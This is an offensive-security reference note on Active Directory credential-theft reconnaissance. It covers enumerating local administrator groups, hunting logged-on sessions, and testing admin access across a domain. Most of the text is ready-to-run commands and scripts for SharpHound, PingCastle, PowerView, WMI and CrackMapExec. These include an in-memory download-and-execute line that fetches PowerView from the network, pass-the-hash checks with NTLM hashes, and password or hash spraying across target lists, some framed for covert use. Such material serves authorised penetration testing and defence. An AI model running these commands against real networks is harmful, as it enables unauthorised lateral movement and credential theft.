Exploitation - Credentials theft shuffling

Local groups enumeration

Enumerating local groups members, and notably the (local or domain-joined) members of the local Administrators / Administratreurs (SID: S-1-5-32-544) built-in group, is a crucial step in the credentials theft shuffling process. Indeed, an enumeration of local groups members is a more efficient and stealthy way to find what computers the compromised accounts have access to than direct connection attempts. In additions to the local Administrators group, membership to the Remote Desktop Users / Utilisateurs du Bureau à distance (SID: S-1-5-32-555) and Distributed COM users / Utilisateurs du modèle COM distribués (SID: S-1-5-32-562) groups should be enumerated as well as such membership can be leveraged for remote code execution.

Two techniques, and associated tooling, can be used to enumerate the local groups members of remote hosts:

  • Queries to the Security Accounts Manager database of the remote host using the Security Account Manager (SAM) Remote Protocol (MS-SAMR) (through the MSRPC SAMR interface).

  • Enumeration of the local administrators configured through Active Directory Group Policy Objects (GPO).

Use caseRecommended tool(s)

One-time enumeration across the whole target Active Directory domain or forest. - Local Administrators groups members.

BloodHound (collection using SharpHound's All or LocalAdmin collection methods). PingCastle's localadmin module. PingCastle presents the advantage of usually not being flagged by anti-virus solutions. Both SharpHound and PingCastle's localadmin module rely on direct and curated SAMR RPC calls (notably SamGetMembersInAlias) and conduct the enumeration using the RID 544 alias (DOMAIN_ALIAS_RID_ADMINS).

One-time enumeration across the whole target Active Directory domain or forest. - Administrators and others local groups that yield remote execution privileges.

BloodHound (collection using SharpHound's All or LocalGroup collection methods). In additions to members of the local Administrator group, SharpHound can enumerate members of the Remote Desktop Users and Distributed COM users groups.

Complementary manual enumeration on one host.

PingCastle's localadmin module executed in interactive mode to manually specify the targeted host.

Complementary manual enumeration on a limited number of hosts.

PowerView's Find-DomainLocalGroupMember PowerShell cmdlet. Find-DomainLocalGroupMember present the notable disadvantage of conducting the enumeration using the group name (by default Administrators) instead of the RID 544 alias, and thus is not able to enumerate local groups members of Windows operating systems in different languages at the same time. Relies on the NetLocalGroupGetMembers API (by default) or on the Active Directory Service Interfaces (ADSI) WinNT provider.

In a covert scenario in which the completeness of the results is traded for stealth.

BloodHound (collection using SharpHound's GPOLocalGroup or DcOnly collection methods). PowerView's Get-DomainGPOUserLocalGroupMapping PowerShell cmdlet.

RPC calls to the MSRPC SAMR interface

Numerous tools can be used to conduct the local groups members enumeration through RPC queries to the MSRPC SAMR interface of remote hosts.

The RPC calls can be implemented through the Win32API's NetLocalGroupGetMembers API, the Active Directory Service Interfaces (ADSI) WinNT provider or direct and curated RPC calls (as implemented by SharpHound).

Note that the possibility to make remote calls to the SAM of remote hosts through the SAMRPC protocol is by default restricted to members of the local Administrators group starting from the Windows 10, version 1607 and Windows Server 2016 operating systems. Specific Knowledge Base (KB) can also be installed on Windows operating systems, starting from Windows 7 and Windows Server 2008 R2, to configure the aforementioned restriction (KB 4012218 - KB 4012220, KB 4012606 or KB 4103198 depending on the operating system).

BloodHound / PingCastle

BloodHound's SharpHound collector or PingCastle can be used for an automated enumeration of the local groups members of all the computers joined in the targeted Active Directory domain.

PingCastle returns a text file with the enumerated computers fully qualified hostnames and the members of their local built-in Administrators group. SharpHound returns a ZIP archive (containing JSON files) that can be imported into a Neo4j database using BloodHound.

For more information on both tools, refer to the [Active Directory] AD scanner note.

# BloodHound's SharpHound.
# Either the PowerShell SharpHound.ps1 (that inlines the C# DLL) or the C# SharpHound.exe collector may be used.
Invoke-Bloodhound -Verbose -CollectionMethod <all | LocalAdmin | LocalGroup>
Invoke-Bloodhound -Verbose -Domain '<DOMAIN_FQDN>' -DomainController '<DC_IP | DC_HOSTNAME>' -LDAPUsername '<USERNAME>' -LDAPPassword '<PASSWORD>' -CollectionMethod <all | LocalAdmin | LocalGroup>

SharpHound.exe -v --Domain '<DOMAIN_FQDN>' --domaincontroller '<DC_IP | DC_HOSTNAME>' --ldapusername '<USERNAME>' --ldappassword '<PASSWORD>' -c <all | LocalAdmin | LocalGroup>

# PingCastle.
# Enumeration on all the computers integrated into the current or specified Active Directory domain.
PingCastle.exe --scanner "localadmin"
PingCastle.exe --server <DC_FQDN | DC_IP> --user "<DOMAIN>\<USERNAME>" --password "<PASSWORD>" --scanner "localadmin"

# Executes PingCastle in interactive in order to manually specify the targeted host.
.\PingCastle.exe
-> 4-Scanner -> 6-localadmin -> 2-one -> <HOSTNAME | FQDN>

PowerView

# Injection in memory of PowerView from the Empire maintained fork. Alternatively, the `PowerView.ps1` PowerShell script can be hosted on a controlled web server.
(New-Object System.Net.WebClient).Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')

# PowerView - single computer "Administrators" members
Find-DomainLocalGroupMember -ComputerName <HOSTNAME | IP>
Find-DomainLocalGroupMember -ComputerName <HOSTNAME | IP> -ComputerDomain <DOMAIN> -Server <DC> -Credential <PSCredential>

# PowerView - multiple computers "Administrators" members
Find-DomainLocalGroupMember | Export-Csv -Path <OUTPUT_CSV>
Find-DomainLocalGroupMember -ComputerDomain <DOMAIN> -Server <DC> -Credential <PSCredential>

From Group Policy Objects

The second technique pulls the local administrators configured through Group Policy Objects (GPO). Local group membership can be defined using Restricted Groups in GptTmpl.inf file or group membership in Group Policy Preferences groups.xml files.

In the GptTmpl.inf, users or group will added in the built-in Administrators group using the line:

[Group Membership]
*S-1-5-32-544__Members = <*SID | USERNAME | GROUPNAME>

This technique present the advantage of being stealthier as no direct queries to each computers are made to retrieve the local administrators group members. However, any user or group added in the local Administrators group directly on the master image will be missed.

Note: GPO can be linked to an OU but not necessarily applied, as an OU can blocks inheritance on an not enforced GPO or a conflicting GPO with a higher precedence order may supplant the exploitable GPO.

# Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences
# The 'GroupName' specify the group to which the 'GroupMembers' are added
Get-DomainGPOLocalGroup
Get-DomainGPOLocalGroup -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>

Get-DomainOU -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}

Note that the tooling of this technique is still experimental and that the tools presented below may not yield comprehensive results.

SharpHound's 'GPOLocalGroup', 'DcOnly' or 'All' collection methods.

# Enumerates the machines where a specific domain user/group is a member of a specific local group
# If no user/group is specified, all discoverable mappings are returned.
Get-DomainGPOUserLocalGroupMapping
Get-DomainGPOUserLocalGroupMapping -Identity <USERNAME | GROUPNAME> -LocalGroup <TARGET_GROUPNAME> -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>

# Enumerates a specified local group for the targeted machine
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity <HOSTNAME | IP> -LocalGroup <GROUPNAME>
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity <HOSTNAME | IP> -LocalGroup <GROUPNAME> -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>

Moreover, GPO can be used to define user rights on the computers the GPO is applied to, such as the logon right SeRemoteInteractiveLogonRight and specific privileges. Some of these privileges can be used to locally elevate privileges or directly dump the LSASS process. Reviewing the user rights defined in GPO can thus lead to more vectors of credentials re-use. Refer to the Active Directory - GPO users rights for more information.

Local groups BloodHound Cypher queries

SharpHound result can be consulted through the BloodHound graphical interface or queried using direct Neo4j's Cypher queries (executed in the Neo4j web console).

# BloodHound GUI.
# For user or group nodes.
Node Info
-> Local Admin Rights
    -> First Degree Local Admin / Group Delegated Local Admin Rights
-> Execution Privileges
    -> First Degree RDP Privileges / Group Delegated RDP Privileges
    -> First Degree DCOM Privileges / Group Delegated DCOM Privileges
    -> SQL Admin Rights
    -> Constrained Delegation Privileges

# For computer nodes.
Node Info
-> Local Admin
    -> Local Admins / Explicit Admins / Unrolled Admins / Foreign Admins / Derivative Local Admins
-> Inbound Execution Privileges
    -> First Degree Remote Desktop Users / Group Delegated Remote Desktop Users
    -> First Degree Distributed COM Users / Group Delegated Distributed COM Users
    -> SQL Admins

# Neo4j's Cypher queries.
# The queries below should be executed through the Neo4j web console (by default accessible at http://localhost:7474/browser/).

# Local Administrators.
# First degree membership of the specified domain user to local Administrators groups.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo]->(c)) RETURN c.name
# Both first degree and group delegated membership of the specified domain user to local Administrators groups.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo|MemberOf*1..]->(c)) RETURN c.name

# First degree membership of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to local Administrators groups of all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo]->(c)) RETURN c.name
# Both first degree and group delegated membership of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to local Administrators groups  all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|MemberOf*1..]->(c)) RETURN c.name

# Possible code execution (local Administrators, Remote Desktop Users, Distributed COM users, LAPS password delegation, etc.).
# Possible code execution of the specified domain user to all computers integrated in the BloodHound database.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name
# Possible code execution of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name

Sessions hunting

Enumerating the sessions established on the machines of the Active Directory domain is also a crucial step in the credentials theft shuffling process. Indeed, an enumeration of the current sessions is tremendously faster than large scale dumping and credentials extraction from LSASS processes on a domain level. Additionally, it allows for the addition of sessions in the computation of more complex attack paths through graph theory (using BloodHound for example).

Multiple techniques, and associated tooling, can be used to enumerate the sessions established across the targeted Active Directory domain:

  • Enumeration of the sessions established on the machines in the domain using the Windows Win32API's NetSessionEnum function. This method does not directly query the systems to enumerate their currently logged-on users but rely on retrieving the sessions established on a machine (likely a server) from others Windows systems. While this method only returns partial results, notably for logged-on users that did not establish any session on remote servers, it is the only one that does not require elevated privileges on the queried host.

  • Access of remote hosts user profile registry hives using the Remote Registry RPC protocol. As a new user profile hive is created each time a new user logs on to a computer, the user profile registry hives of a computer give information about past and present logged-on users. This method does not require elevated privileges but the Windows Remote Registry service to be running on the remote host.

  • Direct querying of remote hosts for information about all users currently logged-on using the Win32API's NetWkstaUserEnum function or WMI's Win32_LoggedOnUser class. This method requires elevated privileges on the queried host.

  • Remote listing of the processes of hosts and enumerating the ones being executed in the security context of a domain user, which requires elevated privileges on the queried host.

  • Remote extraction of the Windows Security events 4624: An account was successfully logged on on hosts' Security hives and listing of the domain users connections. This method requires the right to access the Security EVTX hive on the remote host.

While leveraging the Windows Win32API's NetSessionEnum function and access to user profile hives do not require elevated privileges on the remote hosts, if an account member of the Administrators group of a number of machines could be compromised, others options may be used to enumerate sessions with a better precision. Notably, these alternative methods may prove useful if Find-DomainUserLocation or SharpHound's Session or All collection methods did not manage to detect Domain Admins sessions. In order to find on which machines compromised accounts are member of the local Administrators group, refer to Local groups enumeration section above.

Use caseRecommended tool(s)

One-time enumeration across the whole target Active Directory domain or forest using an unprivileged domain user.

BloodHound (collection using SharpHound's All or Session collection methods). -> Leverages Win32API's NetSessionEnum function.

One-time enumeration across the whole target Active Directory domain or forest using a privileged domain user for a more comprehensive sessions enumeration (in a security review kind of engagement for example).

BloodHound (collection using SharpHound's All or LoggedOn collection methods). -> Leverages both Win32API's NetWkstaUserEnum function and access to Users registry hives using the Remote Registry RPC protocol.

Complementary manual enumeration on one or a limited number of hosts using an unprivileged domain user.

PowerView's Find-DomainUserLocation PowerShell cmdlet. BloodHound (collection using SharpHound's Session collection method and by specifying the targeted systems using the -ComputerFile (SharpHound.ps1) / --computerfile (SharpHound.exe) parameter.) PowerView's Get-RegLoggedOn (which requires the Windows Remote Registry service to be running on the targeted hosts).

Complementary manual enumeration on one or a limited number of hosts using an account with Administrators privileges on the targeted hosts. This use case may arise after the compromise of an additional domain or local account.

Get-WmiObject Win32_LoggedOnUser and Get-WmiObject Win32_LoggedOnUser using the provided PowerShell code snippets below. PowerView's Find-DomainUserLocation PowerShell cmdlet. This technique reduces the number of false positives induced by using the Users registry hives as implemented by SharpHound's LoggedOn collection method.

Unprivileged calls to the Win32API's NetSessionEnum function

The Windows Win32API's NetSessionEnum function provide information about sessions established on a computer. It does not provide information about users that are directly logged-on on the queried host but returns information on the sessions established on the host (likely a server) from others Windows computers.

While different level of information can be retrieved using the NetSessionEnum function, only the level 0 or level 10 calls are allowed for users with out elevated privileges on the remote host. The level 10 calls, leveraged by offensive tools, return SESSION_INFO_10 structure(s), which contain:

  • sesi10_cname: the name of the computer that established the session;

  • sesi10_username: the name of the user who established the session;

  • sesi10_time: the number of seconds the session has been active;

  • sesi10_idle_time: the number of seconds the session has been idle.

The PowerView's Get-NetSession cmdlet as well as the SharpHound's Session collection method wrap around the NetSessionEnum function.

Get-NetSession -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

Get-NetSession -Credential <PSCredential> -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

Additionally, the PowerView's Find-DomainUserLocation cmdlet combine the Get-NetSession and Get-NetLoggedon, introduced below, cmdlets to find machines where the specified user or group's members are logged-on. The ShowAll flag can also be specified to return all user's session, on all machines or on the specified machine.

If the Stealth flag is specified, then servers with likely highly-traffic are enumerated with Get-DomainFileServer and Get-DomainController and session enumeration is executed only against those servers using Get-NetSession.

If the CheckAccess flag is specified, the PowerView cmdlet Test-AdminAccess will be called to check if the current user context has local administrator access to the machine on which the target members have a session on. Note that the CheckAccess does not take into account credentials specified using the Credential parameter. The CheckAccess call can be patched using the following code:

# Target: either UserGroupIdentity or UserIdentity
# Default to UserGroupIdentity = "Domain Admins"
Find-DomainUserLocation
Find-DomainUserLocation -Server <DC> -Credential <PSCredential>

Find-DomainUserLocation -UserGroupIdentity <GROUPNAME>
Find-DomainUserLocation -UserIdentity <USERNAME>

# Find all active sessions on the specified machine
Find-DomainUserLocation -ShowAll -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

# Check if the current user context has administrator access to the machine on which the target members have a session on
Find-DomainUserLocation -CheckAccess

Unprivileged access to Users registry hives through the Remote Registry protocol

Each time a new user logs on to a computer, a new user profile hive is created for that user under the HKEY_USERS key. This hive contains registry information relative to the user's settings. The user profile registry hives of a computer thus give information about past and present logged-on users.

As user profile registry hives are not automatically purged, this enumeration can induce false positives by identifying users that are no longer logged-on the targeted host.

While remote access to the user profile registry hives of a given host does not require elevated privileges on the remote host, the Windows Remote Registry service must be running on the host (which is not the case by default). The registry access is made through the Remote Registry protocol.

The PowerView's Get-RegLoggedon cmdlet as well as the SharpHound's LoggedOn collection method implement this enumeration method. The SharpHound's LoggedOn collection method additionally tries to enumerate the logged-on users using the Win32API's NetWkstaUserEnum function (which will only be successful if SharpHound is being executed under a security context with elevated privileges on the remote hosts).

Get-RegLoggedon -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

Privileged calls to the Win32API's NetWkstaUserEnum function

The Windows Win32API's NetWkstaUserEnum function provides information about users logged on a computer. Note that on newer versions of Windows, the use of the NetWkstaUserEnum function requires Administrators privileges on the remote system.

The PowerView's Get-NetLoggedon cmdlet as well as the SharpHound's LoggedOn collection method wrap around the NetWkstaUserEnum function. The SharpHound's LoggedOn collection method additionally leverages the Remote Registry protocol to enumerate user profile registry hives, which can induce false positives about users that are no longer logged on the targeted host.

# Built-in
WMIC /NODE:<HOSTNAME | IP> COMPUTERSYSTEM GET USERNAME
Get-WmiObject Win32_LoggedOnUser -ComputerName <HOSTNAME | IP>
Get-WmiObject Win32_LoggedOnUser -Credential <PSCredential> -ComputerName <HOSTNAME | IP>

# PowerView
Get-NetLoggedon -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
Get-NetLoggedon -Credential <PSCredential> -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

This enumeration can also be done directly using the WMI's Win32_LoggedOnUser class:

$Credential = <PSCredential>
$InputFile = <FILEPATH>

Get-Content $InputFile | ForEach-Object {
    $ComputerName = $_
    Get-WmiObject Win32_LoggedOnUser -Credential $Credential -ComputerName $ComputerName| ForEach-Object {
          [pscustomobject]@{
                ComputerName = "$ComputerName"
                UserName = $("{0}\{1}” -f $_.Antecedent.ToString().Split('"')[1], $_.Antecedent.ToString().Split('"')[3])   
          }
    } | Select-Object -Unique ComputerName, Username | Where-Object -FilterScript {$_.Username -ne '\'}
}

Privileged remote listing of processes

The users running processes on the remote machine can be enumerated to find active session. The PowerView's cmdlet Find-DomainProcess leverages Get-WMIProcess to remotely list the processes running on the targeted machine, or all machines integrated in the current (or specified) domain. It can be used to list processes being executed by a specific user or by users in a specific group.

# Target: either UserGroupIdentity or UserIdentity.
# Default to UserGroupIdentity = "Domain Admins".
Find-DomainProcess
Find-DomainProcess -Server <DC> -Credential <PSCredential>

Find-DomainProcess -UserGroupIdentity <GROUPNAME>
Find-DomainProcess -UserIdentity <USERNAME>

# If the list of machines a given user has Administrator access to is saved in a file, the following can be used to retrieve the active users on the machines.
[string[]]$arrayFromFile = Get-Content -Path <FILE>
$commaSeparatedList = '"{0}"' -f ($arrayFromFile -join '","')
Find-DomainProcess -Server <DC> -Credential <PSCredential> -ComputerName $commaSeparatedList

This enumeration can also be done directly using the WMI's Win32_Process class:

$(Get-WmiObject -Credential <PSCredential> -Class Win32_Process -ComputerName <COMPUTERNAME>).GetOwner().user | Select-Object -Unique

# Script to enumerate all users having at least one running process on the specified machines.
$Credential = <PSCredential>
$InputFile = <FILEPATH>
Get-Content $InputFile | ForEach-Object {
    $ComputerName = $_

    Get-WmiObject -Class Win32_Process -Credential $credentials -ComputerName $ComputerName | ForEach-Object {
            [pscustomobject]@{
                ComputerName = "$ComputerName"
                UserName = $($_.GetOwner().Domain)+"\"+$($_.GetOwner().User)
            }
    } | Select-Object -Unique ComputerName, Username | Where-Object -FilterScript {$_.Username -ne '\'}
}

Privileged remote searches of Security EVTX hives

The PowerView's cmdlet Find-DomainUserEvent can be used to find Security's 4624: An account was successfully logged on events on all domain controllers or on the specified machines.

This method requires the right to access the Security EVTX hive on the targeted machines, which is granted to members of the local Administrators (SID: S-1-5-32-548) and Event Log Readers (SID: S-1-5-32-573) groups.

# By default, search for any user events matching domain admins on every DC in the current domain.
Find-DomainUserEvent
Find-DomainUserEvent -Server <DC> -Credential <PSCredential>

Find-DomainUserEvent -ComputerName <COMPUTERNAME> -UserIdentity <USERNAME>

# If the list of targeted machines is saved in a file, the following PowerShell code snippet can be used to retrieve the logged on events of the machines.
[string[]]$arrayFromFile = Get-Content -Path <FILE>
$commaSeparatedList = '"{0}"' -f ($arrayFromFile -join '","')
Find-DomainUserEvent -Server <DC> -Credential <PSCredential> -ComputerName $commaSeparatedList

Optional checking of remote local admin access

While enumerating local administrators and active sessions is a good way to quickly approximate if any compromised accounts may be used for lateral movement, only direct authentication requests on targeted computers can yield comprehensive results.

The PowerShell cmdlets Invoke-CheckLocalAdminAccess, replacing Test-AdminAccess, of PowerView and Check-LocalAdminHash can be used to do so, respectively using PSCredential or NTLM hashes.

Test-AdminAccess relies on the Windows API OpenSCManagerW Win32API while Check-LocalAdminHash passes a NTLM hash into the NTLMv2 authentication protocol over SMB or WMI (by default).

The CrackMapExec utility can be used as well, to test local admin access using either passwords or NTLM hashes over SMB or WMI.

Invoke-CheckLocalAdminAccess -ComputerName <HOSTNAME | IP>

# With the AllSystems switch, Check-LocalAdminHash will utilize PowerView modules to enumerate all domain enrolled computers
# The UserDomain should be specified only if a domain account is provided
Check-LocalAdminHash -UserDomain <DOMAIN> -Username <USERNAME> -PasswordHash <NTLMHASH> -AllSystems
Check-LocalAdminHash -UserDomain <DOMAIN> -Username <USERNAME> -PasswordHash <NTLMHASH> -TargetList <HOSTNAMES_FILE | IP_FILE>

# TARGETS can be IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets
crackmapexec <TARGETS> (-d <DOMAIN> | --local-auth) -u <USERNAME | USERNAMES_FILE> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

Lateral movements

Multiples mechanisms and tools can be used for lateral movements in a Windows environment.

The Windows - Lateral movements note introduces the main techniques and tooling.

Credentials dumping

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system. The Windows operating system notably stores user accounts authentication information in the HKEY_LOCAL_MACHINE\Security Account Manager (SAM) and HKEY_LOCAL_MACHINE\SECURITY registry hives as well as the Local Security Authority Subsystem (LSASS) process.

For techniques and tools to efficiently dump credentials on a Windows host, refer to the [Windows] Post Exploit note.

References

https://stackoverflow.com/questions/18113651/powershell-remoting-policy-does-not-allow-the-delegation-of-user-credentials https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/ https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/ https://powersploit.readthedocs.io/en/latest/Recon/Find-DomainUserLocation/ https://blog.cptjesus.com/posts/sharphoundtechnical https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-clients-allowed-to-make-remote-sam-calls https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum https://docs.microsoft.com/en-us/windows/win32/api/lmwksta/nf-lmwksta-netwkstauserenum https://docs.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-session_info_10

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